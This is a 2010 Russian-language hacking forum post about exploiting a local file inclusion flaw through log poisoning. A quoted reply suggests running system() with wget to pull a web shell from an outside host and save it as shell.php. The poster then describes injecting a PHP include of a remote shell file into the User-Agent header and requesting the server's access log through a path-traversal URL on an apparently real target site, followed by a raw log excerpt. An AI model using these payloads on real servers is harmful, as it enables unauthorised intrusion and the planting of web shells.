Форум АНТИЧАТ - Ваши вопросы по уязвимостям.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

31.01.2010, 00:38

547

Участник форума

Регистрация: 11.10.2009

Сообщений: 116

Провел на форуме:
472147

Репутация: 211

Цитата:

Сообщение от Tigger

1. Да, может.
2. Вызываемые ресурсы могут быть ограничены.
3. Может у тебя не LFI, не в тот лог пишешь, какая-то фильтрация.
4. Вообще как бы скрипт выполняется при загрузке сразу же! Т.е. если знать сразу пути и права, то выполнив system(cd /home/777; wget http://shellsite.com/shell.txt -O shell.php); то можно не ждать конца загрузки логов.

там я смотрю в логах меня даже и нету,это при всем том што сам код я уже впихнул темболее в юзер-агент, он обязан там был засветится... хммм странно может и правда ограничения какието по выводу например содержимого лога? там только я видел за 2006 год и все...
вот вырезка с верхушки лога:

.145.194.221 - - [17/Oct/2006:20:33:55 +0300] "GET /subjects/63/svit-vit-kult/L_3.htm HTTP/1.1" 404 313 "http://www.google.com/search?q=%D1%80%D0%B5%D0%BD%D0%B5%D1%81%D0%B0%D0%B D%D1%81%D0%BD%D0%B8%D0%B9+%D0%BD%D0%B5%D0%BE%D0%BF %D0%BB%D0%B0%D1%82%D0%BE%D0%BD%D1%96%D0%B7%D0%BC&b tnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&hl=ru" "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.0.7) Gecko/20061010 Epiphany/2.16 Firefox/1.5.0.7" 74.6.72.174 - - [17/Oct/2006:20:34:13 +0300] "GET /labrary/Temat_rozpod_vir_lib/S01-04/library$/Fisiol_%F0%EE%F1/directory.djvu HTTP/1.0" 404 350 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us
а делаю я так:
через тампер дату в юзер агент пишу
<?php include('http://site.ru/shell.txt'); ?>
затем сразу обращаюсь к логу
http://www.site.ua/php1/index.php?page=../../../../../../var/log/httpd-access.log